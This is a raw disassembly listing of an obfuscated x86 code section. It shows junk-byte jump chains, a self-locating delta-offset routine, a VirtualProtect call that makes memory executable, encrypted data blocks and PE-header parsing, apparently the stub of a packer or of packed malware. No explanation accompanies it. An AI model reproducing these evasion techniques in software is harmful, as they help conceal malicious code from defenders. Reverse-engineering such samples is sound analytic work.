		dec	edx
		jmp	short loc_4686AC
; ---------------------------------------------------------------------------
		db 5Eh,	0B3h, 7Ah
		dd 83025141h, 0EB96F49Fh, 52C4DA9Bh, 1238EA07h,	0F91BE79Fh
; ---------------------------------------------------------------------------


loc_4686AC:				; CODE XREF: DMN1:00468693j
		not	esi
		bswap	esi
		cld
		xchg	ebp, esp
		jmp	loc_468104
; ---------------------------------------------------------------------------


loc_4686B8:				; CODE XREF: DMN1:0046864Bj
		xchg	ebp, eax
		jmp	short loc_4686BD
; ---------------------------------------------------------------------------
		db 10h
; ---------------------------------------------------------------------------


loc_4686BD:				; CODE XREF: DMN1:004686BAj
		jmp	short loc_4686CA
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------
		mov	ch, 0AEh
		retn
; ---------------------------------------------------------------------------
		stc
		std
		pop	edx
		retf	272Eh
; ---------------------------------------------------------------------------
		db 0CAh
; ---------------------------------------------------------------------------


loc_4686CA:				; CODE XREF: DMN1:loc_4686BDj
		jmp	short $+2
		bswap	eax
		jmp	short loc_4686E5
; ---------------------------------------------------------------------------
		dd 36B75840h, 8C438DE6h, 1DD26967h, 0BE452D78h,	0C8413B55h
; ---------------------------------------------------------------------------
		popf


loc_4686E5:				; CODE XREF: DMN1:004686CEj
		jmp	short loc_468701
; ---------------------------------------------------------------------------
		db 2Eh
		dd 461FDC81h, 7BB76A2Ch, 0A669447Bh, 3CE2108h, 3839A007h
		dd 787FA0FDh
		db 15h
; ---------------------------------------------------------------------------


loc_468701:				; CODE XREF: DMN1:loc_4686E5j
		jmp	short loc_468704
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_468704:				; CODE XREF: DMN1:loc_468701j
		std
		jmp	short loc_46871B
; ---------------------------------------------------------------------------
		and	al, 0D9h
		cmp	[edx+60A350A2h], eax
		dec	eax
		retf	585Ah
; ---------------------------------------------------------------------------
		db 0D5h
		dd 0EA5DCF8Dh
; ---------------------------------------------------------------------------
		sub	bh, dh
		dec	edi


loc_46871B:				; CODE XREF: DMN1:00468705j
		jmp	short loc_468729
; ---------------------------------------------------------------------------
		db 2 dup(8Eh), 71h
		dd 0FD0DAAD8h, 353AA80Bh
; ---------------------------------------------------------------------------
		push	esp


loc_468729:				; CODE XREF: DMN1:loc_46871Bj
		std
		jmp	short loc_468734
; ---------------------------------------------------------------------------
		dd 47FC76E2h, 82A96D5Bh
; ---------------------------------------------------------------------------


loc_468734:				; CODE XREF: DMN1:0046872Aj
		jmp	short loc_468744
; ---------------------------------------------------------------------------
		dw 96A9h
		db 8Ah,	0D2h
		dw 23B2h
		dd 4CA75246h, 69EF44F8h
; ---------------------------------------------------------------------------


loc_468744:				; CODE XREF: DMN1:loc_468734j
		jmp	short loc_46875C
; ---------------------------------------------------------------------------
		dw 24DEh
		dd 88FA5h, 0AADB53D2h, 4DBF2779h, 0FECF5786h, 72C22FF2h
; ---------------------------------------------------------------------------


loc_46875C:				; CODE XREF: DMN1:loc_468744j
		pop	edi
		jmp	short loc_468765
; ---------------------------------------------------------------------------
		db 6Eh
; ---------------------------------------------------------------------------
		cmp	eax, 6AACA79Bh


loc_468765:				; CODE XREF: DMN1:0046875Dj
		not	edi
		std
		jmp	short loc_46877A
; ---------------------------------------------------------------------------
		dw 0E6A1h
		dd 6965943Eh, 0F742A25h, 0EEB4CD9Ah
; ---------------------------------------------------------------------------
		xchg	cl, ah


loc_46877A:				; CODE XREF: DMN1:00468768j
		jmp	short loc_46878F
; ---------------------------------------------------------------------------
		dd 996C420Dh, 66188987h, 0C555075h, 0E0E74F87h
		db 18h,	1, 75h
; ---------------------------------------------------------------------------


loc_46878F:				; CODE XREF: DMN1:loc_46877Aj
		jmp	short loc_4687AC
; ---------------------------------------------------------------------------
		db 85h,	2Fh, 2Ch
		dd 7E4B4095h, 31B81FA3h, 9273EA40h, 0C2420363h,	38DD339Dh
		dd 948CB827h
; ---------------------------------------------------------------------------


loc_4687AC:				; CODE XREF: DMN1:loc_46878Fj
		jmp	short loc_4687CC
; ---------------------------------------------------------------------------
		dw 42CEh
		dd 0C7473660h, 0B8DB8FCCh, 2E42981Fh, 39732C21h, 0DF56E3E2h
		dd 6A91FD3Dh, 0B590F0D0h
; ---------------------------------------------------------------------------


loc_4687CC:				; CODE XREF: DMN1:loc_4687ACj
		bswap	esi
		jmp	short loc_4687E7
; ---------------------------------------------------------------------------
		scasb
		retf	0FAD7h
; ---------------------------------------------------------------------------
		mov	ebx, 2E7D4F20h
		inc	edx
		rsqrtps	xmm5, oword ptr	[ecx-5Ah]
		pop	ebx
		inc	esp
		mov	ds:97C9EE40h, al
		adc	ah, [edi]


loc_4687E7:				; CODE XREF: DMN1:004687CEj
		jmp	short loc_4687EA
; ---------------------------------------------------------------------------
		db 25h
; ---------------------------------------------------------------------------


loc_4687EA:				; CODE XREF: DMN1:loc_4687E7j
		jmp	short loc_468807
; ---------------------------------------------------------------------------
		dd 58A039FEh, 0BBF9EAF5h, 0E1966649h, 0E4EBD846h, 7658F0D3h
		dd 335FEBFEh
; ---------------------------------------------------------------------------
		leave
		xchg	eax, esp
		cli


loc_468807:				; CODE XREF: DMN1:loc_4687EAj
		jmp	short loc_46880A
; ---------------------------------------------------------------------------
		db 8Eh
; ---------------------------------------------------------------------------


loc_46880A:				; CODE XREF: DMN1:loc_468807j
		jmp	short loc_468826
; ---------------------------------------------------------------------------
		dd 3E1AAFF4h, 8B169257h, 0CA5AF1F5h, 0F1A960Bh,	0FE2792F2h
		dd 62F99265h
		db 0E4h, 0A8h
; ---------------------------------------------------------------------------


loc_468826:				; CODE XREF: DMN1:loc_46880Aj
		std
		jmp	loc_467A0F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_46882C	proc near		; CODE XREF: DMN1:00468896p

var_24		= dword	ptr -24h
var_18		= byte ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	edx, 31333936h
		xor	edx, 6AAD93DBh
		mov	eax, 10000000h
		add	edx, eax
		add	esp, 10h
		mov	ebp, [esp-10h+arg_4]
		push	edx
		pusha
		push	0
		lea	edx, [esp+18h+var_18]
		push	edx
		push	40h
		push	150B3h
		add	[esp+24h+var_24], 1000h
		push	eax
		add	eax, 1000h
		add	eax, 46023h
		call	dword ptr [eax]
		add	esp, 4
		popa
		retn
sub_46882C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	ecx, 8000h
		mov	edx, 6F49755Ah
		mov	eax, 3F0F5031h


loc_468886:				; CODE XREF: DMN1:00468893j
		add	eax, 276D6A46h
		xor	edx, eax
		add	dx, ax
		rol	edx, 7
		loop	loc_468886
		push	eax
		call	sub_46882C
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h
		dd 36h dup(0)
		dd 45000100h, 50746978h, 65636F72h, 1007373h, 72695600h
		dd 6C617574h, 746F7250h, 746365h, 47000h, 4700Eh, 0
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 2 dup(0)
		dd 0FFFFFF00h, 4702BFFh, 4701F00h, 5 dup(0)
		dd 4600000h, 1000h, 30C600h, 4Fh dup(0)
		dd 397F3E00h, 0BEAADF5Dh, 0A8D8DF5Ch, 0F40590F9h, 0E88B7BB3h
		dd 5B07F940h, 85490764h, 3554AD6h, 4F0C122Fh, 4FF26C27h
		dd 0BD0DC8Ah, 47000D52h, 6913BB0Fh, 0D1898693h,	885366C4h
		dd 18630A54h, 59D0F5ADh, 1A3AE94Ah, 6B97DA62h, 0B5CF7386h
		dd 315B051Bh, 0D8365EC4h, 0B06FE841h, 3FC4AC2Dh, 0CCFF13D2h
		dd 0FE4B83E2h, 0D7D375CCh, 18ABBC5Ah, 9E1D4002h, 0DE3E0304h
		dd 0C41D0926h, 0B26755EAh, 65B6BAA1h, 9DF93675h, 0FD6143CEh
		dd 9B83059Ch, 0DC2BA2D0h, 50A500FAh, 82993105h,	7A475DD6h
		dd 4874E65Fh, 7BDDE44Fh, 81D8EB93h, 5B9FF2ABh, 65D9F3FEh
		dd 0DF50759Bh, 9C87E2CDh, 0C97690Eh, 1998F783h,	971B51DBh
		dd 1184C240h, 9B3BEEC5h, 2C58FE28h, 0EB71BCCFh,	75212BE6h
		dd 4BE28E67h, 0AA87D855h, 8FB04FC3h, 0C3180DCFh, 0E90610CAh
		dd 6B76AB10h, 0FC8764A2h, 0F3930080h, 0D7ECED60h, 0C14EE53h
		dd 8EB9D948h, 0F3211459h, 410D2CD4h, 4846C0B0h,	31500424h
		dd 4C0C2ACEh, 1015E74Dh, 0BCE5D0D0h, 8E9518C4h,	0FBCB67C0h
		dd 0FB5E8452h, 0E4C255FBh, 1F7CF214h, 45B04149h, 0DC954870h
		dd 345EDF2Eh, 8E530715h, 49E03D93h, 6E4C6EE2h, 1CF71286h
		dd 61206D74h, 0C8D12C87h, 5FAFD83Ah, 0AC672DEAh, 3D7C873Bh
		dd 0CBFE3482h, 57E4F8Eh, 59BA1ED1h, 52F1451h, 95A59338h
		dd 8669D84Ah, 65D5A4B1h, 0B525A896h, 981A7453h,	6FCE1874h
		dd 446C1427h, 716DA0E0h, 93D4FC6Ah, 9ECF3A86h, 0C04F1327h
		dd 24E005B9h, 3F4C544Dh, 3A8B0B57h, 0A36BB44Eh,	425ADC4Ah
		dd 126A1861h, 0FE550219h, 0F67706Ah, 0C0FC3D66h, 5FE3EEDFh
		dd 0AE4CD4A5h, 0C70DE52Ch, 1BE51672h, 0A93971Eh, 55419E4Bh
		dd 49D08F8Ah, 8E9C1D1Eh, 7702DEE3h, 49E1B557h, 27B70819h
		dd 5C907FFAh, 0E9038C29h, 8B35A9B4h, 7207118Bh,	516F544Bh
		dd 4395EBA9h, 0F0120F39h, 98F48AE2h, 43205BFEh,	17000764h
		dd 7861B210h, 6D8CB2BBh, 25EB1873h, 8D5ECA69h, 4F12BFF4h
		dd 4A872247h, 0F8CDD488h, 29537AFBh, 5FE6B97Ah,	0E2DD70E4h
		dd 37D5EBCCh, 4C8F1830h, 0DF4FB75Ah, 0F0251661h, 0B419B707h
		dd 0A1BA7D44h, 0A831E9B9h, 0EC7660E3h, 0E97E3DABh, 2ED3B8C6h
		dd 0F24E6883h, 0A7DFE452h, 61F8D6C3h, 22938BC8h, 0A464DE13h
		dd 0A8E253CDh, 0E34A4092h, 461A16B4h, 4B18F5BEh, 0B2B2C852h
		dd 64C20113h, 676BD115h, 7EC44FD6h, 152D2CC4h, 9CFCBF5Dh
		dd 0D95F9070h, 231C613Eh, 92FBF3F3h, 0C76612A8h, 7A3843F7h
		dd 4B69DAB4h, 0C11A87F0h, 0F7A8F1D6h, 0E1242DECh, 0B2CFE208h
		dd 6715BA88h, 7538C63Eh, 0A343F6A7h, 0F2CB88A3h, 688EF5F6h
		dd 0B042377Ah, 90DE647Eh, 0F0599C08h, 4C67B519h, 74AB9727h
		dd 8ACC074Ah, 0B2CC97E3h, 0E443B9D1h, 3C1ADAD1h, 6C3208FDh
		dd 627F3F55h, 17E39521h, 0E4E7368Bh, 0CB8B9A66h, 150E2346h
		dd 0BA7BB40h, 5DD324FFh, 6A3ECC62h, 13EB2894h, 97FA75BBh
		dd 56933F44h, 0BCC94054h, 1EAB32CAh, 0DB94D7BDh, 255981EEh
		dd 47555D84h, 6E789A19h, 0A3E5DD0h, 24643B84h, 2BC8E38Ch
		dd 2EEBB756h, 0A3A4E20Ah, 0F5F9B37Ah, 0EE76072Ah, 0F2FA1563h
		dd 84123D0Bh, 444B12C7h, 0BE161EAFh, 98C29CF3h,	4CDAF6Fh
		dd 0EB983945h, 531585F3h, 4F5D600Eh, 48646558h,	0EE893A1Bh
		dd 63AB49C5h, 6AC460F1h, 0A6DC029h, 0A08E5266h,	63D20ED3h
		dd 0BAD94191h, 24835ABAh, 6D29A128h, 59AF51CBh,	0CBFA62F7h
		dd 57A387A8h, 52F5120h,	382E23A0h, 0F3D5A2F9h, 7734E80h
		dd 0B003F899h, 0B54B1390h, 0AE56F0F5h, 0BFA330B0h, 31E49B54h
		dd 12E6D8F7h, 84390828h, 0EB39FB46h, 68FD1853h,	0AFE800D6h
		dd 0E501A35h, 312D6C56h, 0D44BB0BCh, 21C5B25Bh,	13DEF6DBh
		dd 0EFFB310h, 4AE7D5Bh,	0DF6FB9A2h, 0AFD74B26h,	266BE966h
		dd 0E4B0BF5Ch, 2F595735h, 47F43800h, 932F889Ch,	78574959h
		dd 3804824h, 43271E22h,	3A7B19ACh, 0A46B57B2h, 0F77E2C70h
		dd 0A4285F19h, 7DCE3887h, 9515BA2Bh, 3354A4B5h,	0AD87E810h
		dd 0A2668AB0h, 95590DCAh, 0C73CEDC3h, 0DFC138AFh, 480D9FFDh
		dd 0C5E4AE28h, 0BCBC402Dh, 0E1FC04F5h, 0D7EBBDAEh, 687CDA2Fh
		dd 0D4B71A0Dh, 41F1C4FAh, 0F4D98D31h, 44EAF6BEh, 784CD479h
		dd 0E7247DCh, 4979259h,	0D29C3B93h, 0D1434C9Bh,	3F03FD64h
		dd 8634FD07h, 0A23C0749h, 9A2DB4ADh, 9C3AC5A5h,	504DC8h
		dd 0C00EAD6Fh, 4A9A1744h, 0F5C91B34h, 0EF676519h, 5D4FE628h
		dd 24B48B3Eh, 3A8E0167h, 24EDA977h, 0D77CCC3Ah,	800C6B7h
		dd 598A8CCFh, 9CF38E33h, 0BFF2751Bh, 18B19362h,	713B4A6Fh
		dd 0AC310FE6h, 905C1A2Fh, 2089A5CBh, 0C1995A6Fh, 9B48E5A9h
		dd 0F5EA26D6h, 91E6DA3h, 0CE35062h, 213436D1h, 0F6558429h
		dd 9FE2803Ch, 84EC9F75h, 8550FE54h, 9B5413A4h, 0DB875BA4h
		dd 0E9ECFD01h, 3EBE73EEh, 0C000EFDBh, 3278395h,	98EBCDA3h
		dd 8BD13B98h, 9111FF44h, 0F5E85655h, 42B7A714h,	3A0DDADh
		dd 0C28524E5h, 0DF3025C3h, 3E98F6D8h, 0BB81CFC9h, 6C4E4DBAh
		dd 27BA8D33h, 5C2541F6h, 9D27542Fh, 1E214D62h, 0EB139198h
		dd 5622705h, 9441FDB0h,	975ABDF1h, 94A8CDFFh, 0BD57AA85h
		dd 0F4149E7Dh, 0C1DCCB3Bh, 0A65A6C82h, 3E0E49CEh, 0B46EC845h
		dd 35422C84h, 765CCC88h, 0BA6EE5E4h, 11AB5687h,	0B842BD3h
		dd 6F49D9Fh, 0BF7CA37Bh, 1742CF81h, 0CF2FFBAEh,	90011D38h
		dd 0A2591B2Eh, 405D0587h, 0B579EAC5h, 0FB9CCD59h, 5CC8353Dh
		dd 0B5F8A894h, 355EE16Ah, 0E3C786D4h, 6CBF8A35h, 0C9AC5DF2h
		dd 0AE8357D3h, 46891F21h, 0E9401C2Dh, 0B477796Bh, 8CE113EEh
		dd 535486B5h, 78C88A0Bh, 0E846C7A3h, 46EF0452h,	0C3BFA835h
		dd 0D3B227E1h, 335CA79Bh, 0B2BBDE12h, 6E5AEED3h, 38ECA604h
		dd 8E32D685h, 0E6CCFA16h, 0D1A14A06h, 1518D765h, 2619D0EAh
		dd 7E7A05A5h, 0FDC41890h, 0AF8C9100h, 16C24F5Fh, 0A93A1B00h
		dd 0C991B774h, 90300B42h, 0A3EBA33Eh, 47E2BA58h, 0D3A0B02h
		dd 0EFD8C19Fh, 0FB8F5452h, 5B4F00C9h, 0B3F8FDFBh, 0B609D819h
		dd 0BBB85DACh, 0B3945CBEh, 34A530FEh, 6CEA6F98h, 9F9D5669h
		dd 0AD132481h, 0BCA28A7Fh, 496DA578h, 0AC348F14h, 0A5135B04h
		dd 0A5780644h, 92626304h, 0BB61AB25h, 1359EE9Dh, 0C32E4BE3h
		dd 964810CAh, 5E9A069Ah, 55E78B17h, 780E297Ch, 73E4760Fh
		dd 2BA7A370h, 0E29CA95Bh, 0AA017079h, 0CF4E35F4h, 0E3F90F65h
		dd 0CE8FF994h, 0B1F8CF7h, 6C7710E4h, 24252BE0h,	7481F199h
		dd 0E7429822h, 9C0172BEh, 8C56D70h, 6259496h, 55272DA5h
		dd 86A4686Dh, 833E0E70h, 0EDB44EF5h, 0C530EF0Ch, 0AA112D84h
		dd 97C992A1h, 52F95E29h, 0AE16907Fh, 6BFC227Dh,	0E34FA028h
		dd 38D57EAh, 0A8F0BFC5h, 66961B2Eh, 0ABD688Ch, 355291E1h
		dd 5A5CAB37h, 359D208h,	89FB4503h, 387E93FBh, 8A4B5736h
		dd 372DFEEh, 0C00278B1h, 0E6D128C7h, 4D098A65h,	0D241D441h
		dd 4B895593h, 5402D47Bh, 67135662h, 0D5707FD3h,	0AB10CA63h
		dd 68EE4E4Fh, 7AB96ECCh, 57442E3Eh, 73E0CCF5h, 2A1D023Eh
		dd 0F3830537h, 0EBADBC5Bh, 2BF839Fh, 2383BAC1h,	29A132CFh
		dd 11D8FB4Bh, 9868A44Dh, 8C4CD286h, 9CE6D06h, 246F3115h
		dd 44CFBD4Fh, 76050865h, 0FD496878h, 8100CB8h, 0DC073976h
		dd 18A2A6D4h, 0E6AE7469h, 1F13E9A6h, 54A16FA6h,	5F4CAC5Dh
		dd 8A5192E1h, 154118FEh
		dd 0EA662AECh, 0BB4168A7h, 0CCC2650Ah, 87B268C5h, 5835E512h
		dd 8C86EA3Dh, 40946BAh,	1798E9D6h, 0C891A750h, 0BC4C5DCh
		dd 0F0253364h, 44D2B754h, 0FC794496h, 9A0D2C9Bh, 50955033h
		dd 713253DDh, 0FB46C76Dh, 83A0A721h, 623FDCE4h,	0D526FF6Fh
		dd 93C7FD4Dh, 655C5DB3h, 1CA82070h, 18BFA940h, 7FDA823Ah
		dd 1050BF75h, 8C9BB167h, 9E767320h, 23B97813h, 0DC4FFE9Fh
		dd 0C1887FC3h, 0B878D20Dh, 574D85A4h, 0C9677D17h, 8D698D6Dh
		dd 4BE05A4Ch, 0FCC3ED7Eh, 3892F833h, 60201614h,	1571CD26h
		dd 0A73D1581h, 7FDBD592h, 6EA0C652h, 442DE46h, 7B256B12h
		dd 32D5B0C5h, 8C3D083Fh, 7D7FDBB8h, 5E6E825Ch, 0C03D0BEh
		dd 4AA29511h, 5649E50Bh, 4922C0F7h, 5911C13Fh, 70DD7DC1h
		dd 0AA41BE86h, 4BBC651h, 0E6221114h, 41DB5BCDh,	1718D594h
		dd 2F84A8C6h, 4E279CA5h, 61979463h, 0CDCEB070h,	0AF748BE9h
		dd 7F3CB264h, 0D857BB3Dh, 13196985h, 73C2715Fh,	71064696h
		dd 7F621AB6h, 175F69ECh, 84045B4Ah, 6D2CB330h, 0D2DAE4A8h
		dd 99A777AFh, 82DD4C5Ah, 9664F797h, 6DD1116Ch, 13C27230h
		dd 0D4967B21h, 59BDE9CBh, 0C01173A5h, 9393B17Ah, 0CD8AE00Dh
		dd 4D52D489h, 0D5AFD345h, 0F6881C50h, 0B9AD7228h, 0DCA129Bh
		dd 0D1766AF8h, 0B582D05Bh, 5D008EB3h, 0ED56D9F9h, 19EEDA8Dh
		dd 213A40CDh, 0E0A03D0Fh, 3A9DDBD0h, 2E26F532h,	0B65D3151h
		dd 11BFCF0Fh, 0B5E43AC8h, 0E792C926h, 0F63A15AEh, 1E05C11Bh
		dd 406791A8h, 5FAE3738h, 0AD8AC376h, 0DAB1F2FAh, 17D0642h
		dd 4EF2BC12h, 0BD14FFA1h, 4D505F0Bh, 52EE34BBh,	2CE6B329h
		dd 5AE43C5Bh, 0AB251943h, 89440D36h, 1F39D550h,	0D6976E9Dh
		dd 6123AE71h, 0F7B0EAC1h, 49F2A596h, 0F1861EFEh, 5404FB1Eh
		dd 0FE13DB2h, 77FF2156h, 0AB2DDAF4h, 65C0BCE6h,	0CBD661F0h
		dd 0D21688CBh, 6421A61Bh, 0D28E1643h, 0D3C3B6D1h, 977D475Fh
		dd 5293DB9Ch, 8700C04Eh, 0A6E57AF2h, 577265E1h,	0AD7BD7F5h
		dd 0F16D3F4Ah, 6F7713DDh, 808E59BDh, 3F213D57h,	0BBA1D2F1h
		dd 0CF99CD0h, 6624BE08h, 0A25B5B5Fh, 3DD99AFAh,	42CD2A10h
		dd 77276ABEh, 0BA510D3Ah, 79A7A3A6h, 0FD00B433h, 69263EA5h
		dd 0DFB5B58Eh, 524549DEh, 0B51C4B5Eh, 73E1D0E0h, 6BD091B7h
		dd 7F5381FBh, 25E82F9Bh, 4B68673Fh, 427567E8h, 7BCCA634h
		dd 47AFAC18h, 859E60B8h, 0AE0A16A3h, 0D86F5E6Bh, 45C8E2C0h
		dd 0ACD7B699h, 0F87EFE8Fh, 7548F8DEh, 0FFBDB5A2h, 0E8D62044h
		dd 3E3AA6D5h, 0C95D399h, 109375FEh, 24660E72h, 0A4D359BDh
		dd 0A079BF98h, 0FCF24858h, 631DFCh, 0C7C10596h,	0BD78754Eh
		dd 0F8BDAE04h, 5CFAA282h, 0AE320641h, 0AA165CC4h, 58173FC1h
		dd 7F650134h, 0EB5F07D5h, 0A08427EDh, 0BD6ED868h, 0D95A92F3h
		dd 0A4F679BEh, 81FC86DEh, 86D664E4h, 94314A5Eh,	16E1784Ch
		dd 9E55C684h, 0E1913DF2h, 81BB91D8h, 78B16BDEh,	549CE17Bh
		dd 235EB233h, 0A38C0AE2h, 0A16C8A60h, 0D0407680h, 0A7809F7Bh
		dd 2685B629h, 7BC3981h,	0ABD4B2E2h, 1BC46792h, 0FB0ADBB9h
		dd 39535D08h, 85EDDFC6h, 8C443E56h, 2775AA45h, 3AB1E874h
		dd 772FD979h, 41ED4E02h, 9717C029h, 91171DC6h, 71B88EEDh
		dd 2A52D5E0h, 216A056h,	0F7DCCB0Fh, 43591547h, 0AE2C5299h
		dd 65189C53h, 569449Eh,	23F10BFFh, 961E116Bh, 15204255h
		dd 0BDF74CD6h, 836747DFh, 9726664Ch, 977BE9F4h,	0F5A4A158h
		dd 751CA39Fh, 0A331A62Dh, 419F503Dh, 44A68943h,	581FDFBDh
		dd 6FE16B4Ch, 430832F0h, 16AD888Ch, 7D832805h, 0C1EFF4EDh
		dd 0B3F9522Dh, 522E7DAEh, 0C34D001Eh, 0D62D6D79h, 862698E4h
		dd 0D9ED10D3h, 6BF12C73h, 0EADDA003h, 459037E2h, 9D0FE343h
		dd 648FC150h, 8F8B9BBBh, 0BD394A95h, 5610E996h,	39B1C246h
		dd 0FD95518Bh, 0A9CB1EE1h, 9302AE48h, 72B07CD2h, 1E37E829h
		dd 53225989h, 59EEED18h, 0E45C1ACh, 9E470D88h, 0A1E4BAC9h
		dd 41E9C2F0h, 0FC4CAA28h, 0C5BC4256h, 0F65E58A3h, 0EBC60992h
		dd 5F88B583h, 484121DAh, 0BBCC2E0Bh, 52545D43h,	9E5C4883h
		dd 0D7C72A07h, 37234BFAh, 98C3FCFh, 3DC6E7A8h, 1B38456Dh
		dd 36FD2BD7h, 7DFB1BEBh, 597CA71Fh, 0D0471F0Ah,	0AD495397h
		dd 33C116B0h, 90EB853Dh, 0DA4DA479h, 7A40068Ch,	0A215AECEh
		dd 0B657C076h, 0F4F20A21h, 9317A0E3h, 7FA33139h, 6E32FE0Fh
		dd 4FFFFAFAh, 0D9A665D8h, 0BC1A8FD2h, 0BBB7E294h, 9739C9F1h
		dd 0DEF71A0h, 794C3A04h, 0A4E0EFCh, 639392D0h, 0F3EE81EDh
		dd 0FA3F7270h, 0DC2337F0h, 90F848Dh, 79FC7E17h,	6D9092E2h
		dd 6D9EDE39h, 0A5B49510h, 461809D9h, 0BD3C0C6Ah, 5A08BEFFh
		dd 0AD4C247Ah, 0C47BA134h, 8D6EE462h, 0BA58052Bh, 467FC565h
		dd 0B5E99022h, 5218A6FCh, 0A27FD7E8h, 6DC64057h, 41B7A935h
		dd 0F547582Eh, 2B5A8596h, 773101E5h, 0B467C73Eh, 889E8AEBh
		dd 62E4012Fh, 0EE16A96Eh, 0E9953BE9h, 0F1B1985Bh, 0D52C0B8Bh
		dd 0DB8577E7h, 0CE1DF5B0h, 2188E26Bh, 84637DBDh, 5D3D3AEh
		dd 0BE1A39Ah, 0F4CC87A5h, 3E2E8202h, 0A6A6ABA3h, 0A8A7E301h
		dd 0A606938Fh, 42C2C699h, 0EDF17B82h, 0FF9D6DECh, 63E29FAh
		dd 80403521h, 0E9EABDAFh, 0A7ED0F6Ah, 0D580B6D6h, 3C3A41C5h
		dd 0DD4DF4FBh, 2B381430h, 9535FC36h, 381171F4h,	0BA7DC428h
		dd 214F55FEh, 4E96309Bh, 7F5D6D27h, 0FAF4C771h,	94180492h
		dd 0E3C92484h, 0BF187256h, 0BCC1F80Ah, 323EC35Eh, 20922D4Eh
		dd 0EC8AC960h, 72D8D8D1h, 0E0F3BA19h, 0E4313A5h, 6E42ED4Ah
		dd 3E043ADh, 0EC5CD730h, 0B257173Ch, 7B55F71Fh,	3186E9BBh
		dd 0ADA7E337h, 0EC4F79E0h, 2D267342h, 3F1A375Bh, 0D562CC69h
		dd 520C90B3h, 1580087h,	521E0C38h, 0D0284604h, 231B99B6h
		dd 15D1FF72h, 253A2BE7h, 5AC63D8Dh, 0EDB374A9h,	4FCF4D10h
		dd 0D47117A1h, 62C1BD4Ah, 0FBC7B799h, 90660618h, 0C9B91A8Dh
		dd 0F8841592h, 21EF3A1Dh, 15F2BB64h, 57F1C5F5h,	0EFBEC32h
		dd 0F9214E76h, 44A511DFh, 3AE02FF6h, 0F9967408h, 99A07ED8h
		dd 0DB10FE96h, 0C40AA5E5h, 0ED958665h, 82CCB843h, 5AD4A68Ch
		dd 0F13FC926h, 63DAD44Dh, 5F511534h, 963E9CEh, 9554FA6Fh
		dd 0D3479269h, 0B37CB109h, 0EC316FEEh, 0E0D50A54h, 0E49B3D2Ch
		dd 5A670417h, 0EAC3C2ECh, 0F068249h, 88C9B755h,	66A1A318h
		dd 29A3FB92h, 0CB00B257h, 83E7F8DBh, 519977D3h,	63B547A3h
		dd 2C4DFCDFh, 1CEFC0F1h, 249944BFh, 2E8E818Dh, 8136571h
		dd 0D2B4FF9Fh, 0A514004Fh, 0AB78799Bh, 0BBE38EDFh, 7A90ED4Eh
		dd 121BED21h, 0FC35D678h, 0D9FE08D9h, 4DF7D9BEh, 6D8D9C2Ah
		dd 0E447886Eh, 1A794DF9h, 1167E665h, 78400BA5h,	0B5132D3Dh
		dd 3DEE83A3h, 0D90575A5h, 0DAEFB863h, 3D3486D0h, 0EAD668FFh
		dd 0CC3DB8F3h, 0D39AF343h, 0D86F3B08h, 7461AAA8h, 0AC62E8EAh
		dd 8C137047h, 8EA2D08Fh, 0BCFA00EEh, 530EB048h,	0D82AB93h
		dd 2A2832F5h, 18BB762Bh, 0A5F68EEFh, 23082CEDh,	0C3F69FD2h
		dd 0E48E5EE8h, 174D27B3h, 0DA99E966h, 22B19B96h, 0E334DB18h
		dd 9265735Bh, 0AF90D59Bh, 6543226Ah, 4DE10DC4h,	0DF86678Dh
		dd 6D8B8391h, 0F7A31F73h, 0B16B4DB2h, 38F1CC10h, 0D99D222Ch
		dd 74C69746h, 7CB4002Ch, 2AE7C542h, 0B5BB3597h,	0C75A8150h
		dd 11832AC6h, 6ABD40F3h, 5F64448Dh, 3AB03EAEh, 0D44D7892h
		dd 0C8926CE2h, 92418ACAh
		dd 21E7BE1Ah, 8727BAA0h, 0F2C800B8h, 31008AD0h,	0FEA218F5h
		dd 8C5EE84Eh, 0D288951Eh, 0F81CDD1Dh, 0E315CA2Fh, 8B5D4BEh
		dd 18C7AABAh, 0CFA365C1h, 0F8BF7381h, 15813676h, 0BA07711Ah
		dd 0E4FAA723h, 7D67E3DDh, 32346D23h, 6BB57B0Ch,	39A25878h
		dd 0C26E3E73h, 84605CC6h, 5443EECAh, 0ABB3871Bh, 493A408Fh
		dd 333F2F08h, 4EAA2A61h, 2B7A7ABEh, 0BB6CFE9Ah,	0FBA51971h
		dd 8E98288Dh, 0B88B071Ah, 8C8D4327h, 3030C49Ah,	0A8F69489h
		dd 7D33EF37h, 1A5FE96Eh, 0FB3FAD40h, 0AF13415Fh, 0CAC19FA2h
		dd 124EB6B1h, 0D316669Fh, 0E23A8465h, 637CD64Dh, 34EEE807h
		dd 0C0F32C87h, 37106E09h, 18DF4BA0h, 0DBD478E1h, 0D07B4417h
		dd 0BBAB23D4h, 3CC37989h, 7405C9A1h, 16DE998Ah,	8BD4686Eh
		dd 0B1ADA1E1h
; ---------------------------------------------------------------------------


loc_469C00:				; CODE XREF: DMN1:0046BCDBj
		push	ebx
		push	ecx
		push	edx
		push	esi
		push	edi
		push	ebp
		mov	eax, 4000h
		mov	ecx, 1000h


loc_469C10:				; CODE XREF: DMN1:00469C22j
		xor	eax, ebx
		sub	eax, 0B0B1560Dh
		add	ax, cx
		ror	eax, 7
		add	eax, 0DEADC0EDh
		loop	loc_469C10
		cld
		call	$+5
		pop	eax
		mov	ebp, eax
		sub	ebp, 2Ah
		sub	eax, 68C2Ah
		lea	esi, [eax+41F21h]
		mov	[ebp+2CAh], esi
		lea	eax, [eax-1000h]
		mov	[ebp+2A6h], eax
		mov	edi, [esi+3Ch]
		add	edi, esi
		mov	[ebp+2B2h], esi
		mov	[ebp+2B6h], edi
		pusha
		call	sub_469F18
		popa
		mov	eax, [ebp+2A6h]
		mov	edx, [eax+3Ch]
		add	edx, eax
		mov	eax, [edx+28h]
		add	eax, [ebp+2A6h]
		mov	[ebp+2BEh], eax
		mov	eax, [edx+50h]
		mov	[ebp+2C2h], eax
		mov	edx, [ebp+304h]
		mov	[ebp+2BAh], edx
		mov	eax, [ebp+2A6h]
		mov	[ebp+2AAh], eax
		sub	eax, [ebp+300h]
		mov	[ebp+2AEh], eax
		mov	ecx, [ebp+30Ch]
